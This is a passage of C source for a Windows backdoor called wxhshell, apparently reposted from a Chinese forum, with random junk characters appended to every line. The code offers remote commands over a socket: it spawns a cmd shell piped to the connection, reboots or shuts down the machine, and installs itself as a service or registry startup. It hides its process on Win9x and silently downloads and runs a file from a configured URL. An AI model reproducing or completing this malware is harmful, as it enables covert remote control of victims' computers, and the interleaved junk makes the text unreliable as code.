  case '?': { Wxi|(}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4K(AXk  
    break; z/,qQVv=}4  
  } 7HpfHqJ7  
  // 安装 =ca<..yh[d  
  case 'i': { WI?iz-,](  
    if(Install()) 7I,/uv?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F>0[v|LG  
    else UA{tmIC\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h#o3qY  
    break; ]7d~,<3R  
    } nJvDkh#h1  
  // 卸载 Jf/X3\0N7  
  case 'r': { mv,<#<-W  
    if(Uninstall()) "K"]/3`k-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV%?8-  
    else %4%$NdU"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [^cflmV  
    break; d=TZaVL$$  
    } x tJ_azt  
  // 显示 wxhshell 所在路径 7.r}98V  
  case 'p': { Aj9Onz,Lg  
    char svExeFile[MAX_PATH]; : *~}\M*  
    strcpy(svExeFile,"\n\r"); 8+L,a_q-  
      strcat(svExeFile,ExeFile); v[aFSXGj)  
        send(wsh,svExeFile,strlen(svExeFile),0); :DxCjv  
    break; hr+,-j  
    } x}`]9XQ  
  // 重启 oPX `/ X#  
  case 'b': { ^st.bzg+[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0u?{"xH{+}  
    if(Boot(REBOOT)) 2f%G`4/p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%p$C oR  
    else { ^&AhW m7\  
    closesocket(wsh); wc3OOyP@0  
    ExitThread(0); HOn,c@.9Y  
    } ^k'?e"[gTs  
    break; ]<pnHh+2A  
    } 6a+w/IO3OU  
  // 关机 =*icCng  
  case 'd': { fI/?2ZH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y\.d s%G  
    if(Boot(SHUTDOWN)) "w)Y0Qq*z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mp V3.  
    else { %7X<:f|N8x  
    closesocket(wsh); \WDL?(G<  
    ExitThread(0); $Vi[195]2  
    } {M7`z,,[  
    break; JH%^FF2  
    } [|=#~(yYQ  
  // 获取shell ,s%1#cbR  
  case 's': { Y7vTseq  
    CmdShell(wsh); Nn"[GB  
    closesocket(wsh); IZ$7'Mo86  
    ExitThread(0); BVKr 2v  
    break; "5KJ /7q!  
  } g1je':  
  // 退出 wH=L+bA>a  
  case 'x': { COE,pb17  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +s*OZ6i [  
    CloseIt(wsh); MWsjkI`  
    break; WcCJ;z:S?k  
    } !n=?H1@  
  // 离开 J3]W2m2Zw  
  case 'q': { 5}4f[   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W>ziA  
    closesocket(wsh); "Ih>>|r  
    WSACleanup(); V)$y  
    exit(1); NZJ:@J=-  
    break; ^J?ExMu  
        } hmA$gR_  
  } *H"IW0I  
  } p19[qy~.  
@>wD`<U|  
  // 提示信息 j|`6[93MG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sHqs)@D  
} kWF/SsE  
  } *^BW[C/CTR  
6m.ChlO/  
  return; B!`Dj,_  
} P87!+pB(  
h>'9-j6B  
// shell模块句柄 X{n7)kgL  
int CmdShell(SOCKET sock) DcNQ2Zz?%  
{ %idn7STJ}  
STARTUPINFO si; WjyuaAWY  
ZeroMemory(&si,sizeof(si)); E%eTjvvxus  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j>2Jw'l;?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jWn!96NhlL  
PROCESS_INFORMATION ProcessInfo; SIJ:[=5!7  
char cmdline[]="cmd"; IL:d`Kbqf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &GF|Rr8NXs  
  return 0; bIFKP  
} jV(\]g"/=  
Di[}y;  
// 自身启动模式 ZZkxEq+D  
int StartFromService(void) bYuQ"K A$  
{ 0_}^IiG  
typedef struct wq[\Fb`  
{ Oz\mIVC#  
  DWORD ExitStatus; 2Xu?/yd  
  DWORD PebBaseAddress; 6GxQ<  
  DWORD AffinityMask; y$n7'W6  
  DWORD BasePriority; [m9Pt]j@  
  ULONG UniqueProcessId; j@kL`Q\&I  
  ULONG InheritedFromUniqueProcessId; /`M> 3q[  
}   PROCESS_BASIC_INFORMATION; hEO#uAR^Z  
4H7 3a5f  
PROCNTQSIP NtQueryInformationProcess; -=W"  
dXkgWLI~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "4VC:"$f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | HkLl^  
M*DFtp<  
  HANDLE             hProcess; x=+R0ny  
  PROCESS_BASIC_INFORMATION pbi; oYYns%r}{  
_xg4;W6M=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }pE8G#O&  
  if(NULL == hInst ) return 0; \htL\m^$9  
q|E0Y   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  R^%uEP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *cjH]MQ0Ak  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e ~X<+3<  
5^Gv!XW  
  if (!NtQueryInformationProcess) return 0; [C GFzxz$  
.U8Se+;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zeqP:goy  
  if(!hProcess) return 0; rsbd DTy  
i|'M'^3r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -ff|Xxar{  
-{Lc?=  
  CloseHandle(hProcess); F1V[8I.0  
FiTP-~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <O`yM2/pS  
if(hProcess==NULL) return 0; s\c*ibxM,  
VZOf|o  
HMODULE hMod; R3MbTg  
char procName[255]; -Cb<T"7  
unsigned long cbNeeded; aR }|^ex  
*wNX<R.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ryz [A:^G  
#z|\AmZ\  
  CloseHandle(hProcess); G;:D6\  
^y@ RfM=A  
if(strstr(procName,"services")) return 1; // 以服务启动 ~<M/<%o2*  
sGNVZx  
  return 0; // 注册表启动 ~|j:xM(i  
} 9N H"Ik*  
6E9y[ %+  
// 主模块 )P6n,\  
int StartWxhshell(LPSTR lpCmdLine) >".,=u'  
{ ]J^ 9iDTTA  
  SOCKET wsl; jL$&]sQ`O)  
BOOL val=TRUE; fV-vy]x..  
  int port=0; Jjb(lW  
  struct sockaddr_in door; 9aLS%-x!+  
&G5=?ub  
  if(wscfg.ws_autoins) Install(); Evz;eobW/  
JHY0 J &4s  
port=atoi(lpCmdLine); E$z)$`"1  
>*xa\ve  
if(port<=0) port=wscfg.ws_port; }*!7 Vrep  
Tct[0B  
  WSADATA data; ^ <Z^3c>/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -+1it  
^*7~ Wxk5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nw'3gJ:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j@0/\:1(U  
  door.sin_family = AF_INET; zl>l.zJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #;bpxz1lR9  
  door.sin_port = htons(port); v1hrRf2<  
#4(/#K 1j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q&IO9/[dk  
closesocket(wsl); LEM{$Fxo&  
return 1; K)2ZH@  
} c5uT'P"  
{}?;|&_  
  if(listen(wsl,2) == INVALID_SOCKET) { 0A%>'<  
closesocket(wsl); (fgX!G[W  
return 1; O_*(:Z  
} !B==cNq  
  Wxhshell(wsl); Rn O%8Hk  
  WSACleanup(); !XjvvX"j  
)k F/"'o  
return 0; (>qX>  
CPq{M.B  
} <!.'"*2  
S~1>q+<Q  
// 以NT服务方式启动 k^q}F%UV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bl|k6{A  
{ cH>rS\|Y  
DWORD   status = 0; :uZfdu  
  DWORD   specificError = 0xfffffff; fH.:#O:  
%K^l]tWa@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |irqv< r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dw)SF,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %?^T^P  
  serviceStatus.dwWin32ExitCode     = 0; $|v_ pjUu]  
  serviceStatus.dwServiceSpecificExitCode = 0; Lm<"W_  
  serviceStatus.dwCheckPoint       = 0; ||y5XXs  
  serviceStatus.dwWaitHint       = 0; 9X8{"J  
)u7*YlU\I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IVYWda0m  
  if (hServiceStatusHandle==0) return; QDlEby m  
o56_t{<  
status = GetLastError(); Dc |!H{Yr  
  if (status!=NO_ERROR) ]KGLJ~hm>  
{ iw6qNV:\Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @%L4^ms  
    serviceStatus.dwCheckPoint       = 0; daT[2M  
    serviceStatus.dwWaitHint       = 0; kBY54pl  
    serviceStatus.dwWin32ExitCode     = status; \H$Ps9Xh  
    serviceStatus.dwServiceSpecificExitCode = specificError; !dfc1UjB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|MHQp'A  
    return; V\zf yH\~  
  } @ViJJ\  
\oF79   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ^o+}3=  
  serviceStatus.dwCheckPoint       = 0; @R= gJ:&a  
  serviceStatus.dwWaitHint       = 0; -k{n"9a9?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .s 31D%N  
} CW k#Amt.  
%iWup:  
// 处理NT服务事件,比如:启动、停止 -UaUFJa8K&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )SZt If  
{ RQI?\?o  
switch(fdwControl) !|`G<WD  
{ ]trVlmZXH}  
case SERVICE_CONTROL_STOP: G#/}_P  
  serviceStatus.dwWin32ExitCode = 0; ~YHy '.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @ NGK2J  
  serviceStatus.dwCheckPoint   = 0; 4C^;lK  
  serviceStatus.dwWaitHint     = 0; P"0S94o:5J  
  { O=}4?Xv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '~i} 2e.  
  } C=ni5R  
  return; ua1ov7w$]  
case SERVICE_CONTROL_PAUSE: mLU4RQ}5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ig:/60Z  
  break; mH> oF|  
case SERVICE_CONTROL_CONTINUE: 2Yt#%bj7^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D3V5GQ\=  
  break; W B)<B  
case SERVICE_CONTROL_INTERROGATE: X3#/|>  
  break; FL!W oTB  
}; '3Yci(t+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I|lz;i}$  
} gK/mm\K@  
D<$~bUkxR  
// 标准应用程序主函数 *vFVXJo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FblwQ-D  
{ x[7jm"Pz  
8DbXv~3@  
// 获取操作系统版本 tS,nO:+x  
OsIsNt=GetOsVer(); |du@iA]dP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e2Sm.H '  
LtKiJ.j?A  
  // 从命令行安装 eRQ}`DjTk  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7 Xe|P1@)  
z]ZhvH7-  
  // 下载执行文件 vlth\ [  
if(wscfg.ws_downexe) { 3DnlXH(h1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9^h\vR|]S  
  WinExec(wscfg.ws_filenam,SW_HIDE); }^WQNdws56  
} <`*}$Zh  
78>)<$+d  
if(!OsIsNt) { an^"_#8DA@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^'i(@{{o\  
HideProc(); jq#_*&Eg]  
StartWxhshell(lpCmdLine); V| b9zHh  
} B" TZ8(<  
else Z8nj9X$   
  if(StartFromService()) k|Vq-w  
  // 以服务方式启动 Zh`lC1l'  
  StartServiceCtrlDispatcher(DispatchTable); / ]_T  
else y0>asl  
  // 普通方式启动 ^RytBwzKM  
  StartWxhshell(lpCmdLine); . $uvQpyh  
o^;$-O!/  
return 0; ;T~]|#T\6  
}
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只看该作者 1 发表于: 2006-10-10
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